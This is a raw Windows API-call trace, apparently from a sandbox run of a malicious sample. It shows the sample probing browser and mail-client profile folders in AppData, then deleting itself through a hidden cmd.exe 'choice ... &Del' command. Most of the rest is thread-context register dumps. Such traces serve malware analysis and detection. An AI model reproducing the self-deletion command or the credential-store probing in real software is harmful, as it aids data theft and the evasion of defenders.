[0132.001] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/Waterfox" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\waterfox"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0132.001] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00015edd0, nSize=0x64 | out: lpBuffer="") returned 0x15
[0132.001] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/K-Meleon" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\k-meleon"), fInfoLevelId=0x0, lpFileInformation=0xc000277b60 | out: lpFileInformation=0xc000277b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0132.001] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/K-Meleon" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\k-meleon"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0132.001] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00015eea0, nSize=0x64 | out: lpBuffer="") returned 0x15
[0132.001] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/Thunderbird" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\thunderbird"), fInfoLevelId=0x0, lpFileInformation=0xc000279b60 | out: lpFileInformation=0xc000279b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0132.001] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/Thunderbird" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\thunderbird"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0132.001] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00015f040, nSize=0x64 | out: lpBuffer="") returned 0x15
[0132.001] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/Comodo/IceDragon" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\comodo\\icedragon"), fInfoLevelId=0x0, lpFileInformation=0xc000285b60 | out: lpFileInformation=0xc000285b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0132.001] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/Comodo/IceDragon" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\comodo\\icedragon"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0132.001] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00015f110, nSize=0x64 | out: lpBuffer="") returned 0x15
[0132.001] VirtualAlloc (lpAddress=0xc000288000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000288000
[0132.002] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/8pecxstudios/Cyberfox" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\8pecxstudios\\cyberfox"), fInfoLevelId=0x0, lpFileInformation=0xc000287b60 | out: lpFileInformation=0xc000287b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0132.002] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/8pecxstudios/Cyberfox" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\8pecxstudios\\cyberfox"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0132.002] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00015f1e0, nSize=0x64 | out: lpBuffer="") returned 0x15
[0132.002] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/NETGATE Technologies/BlackHaw" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\netgate technologies\\blackhaw"), fInfoLevelId=0x0, lpFileInformation=0xc000281b60 | out: lpFileInformation=0xc000281b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0132.002] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/NETGATE Technologies/BlackHaw" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\netgate technologies\\blackhaw"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0132.024] GetEnvironmentVariableW (in: lpName="windir", lpBuffer=0xc00015f2b0, nSize=0x64 | out: lpBuffer="") returned 0xa
[0132.024] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="CreateProcessW") returned 0x7ffc6fca3b00
[0132.024] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\system32\\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\\ProgramData\\23111707348706201124.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xc00021feb0*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xc00021fe98 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\\ProgramData\\23111707348706201124.exe", lpProcessInformation=0xc00021fe98*(hProcess=0x134, hThread=0x130, dwProcessId=0xd94, dwThreadId=0xd98)) returned 1
[0132.040] ExitProcess (uExitCode=0x0)
Thread:
id = 126
os_tid = 0x1364
Thread:
id = 130
os_tid = 0x13c8
[0072.998] free (_Block=0x25dd56a16f0)
[0072.999] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff950, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff950*=0xc8) returned 1
[0072.999] VirtualQuery (in: lpAddress=0xd17c7ff970, lpBuffer=0xd17c7ff970, dwLength=0x30 | out: lpBuffer=0xd17c7ff970*(BaseAddress=0xd17c7ff000, AllocationBase=0xd17c600000, AllocationProtect=0x4, __alignment1=0xfffff800, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xfffff6d2)) returned 0x30
[0072.999] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0073.245] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0xd0) returned 1
[0073.246] SuspendThread (hThread=0xd0) returned 0x0
[0073.267] GetThreadContext (in: hThread=0xd0, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000049f50, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1296aa0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0073.339] ResumeThread (hThread=0xd0) returned 0x1
[0073.339] CloseHandle (hObject=0xd0) returned 1
[0073.339] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0073.449] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0073.519] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0073.688] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0073.784] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0073.897] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0074.006] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x104) returned 1
[0074.006] SuspendThread (hThread=0x104) returned 0x0
[0074.006] GetThreadContext (in: hThread=0x104, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ff700, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12eb4c3, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0074.266] ResumeThread (hThread=0x104) returned 0x1
[0074.266] CloseHandle (hObject=0x104) returned 1
[0074.267] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0074.382] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x108) returned 1
[0074.382] SuspendThread (hThread=0x108) returned 0x0
[0074.382] GetThreadContext (in: hThread=0x108, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000049f20, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12d3580, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0074.462] ResumeThread (hThread=0x108) returned 0x1
[0074.463] CloseHandle (hObject=0x108) returned 1
[0074.463] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0074.497] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0074.547] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0074.713] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0075.103] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0075.103] SuspendThread (hThread=0x118) returned 0x0
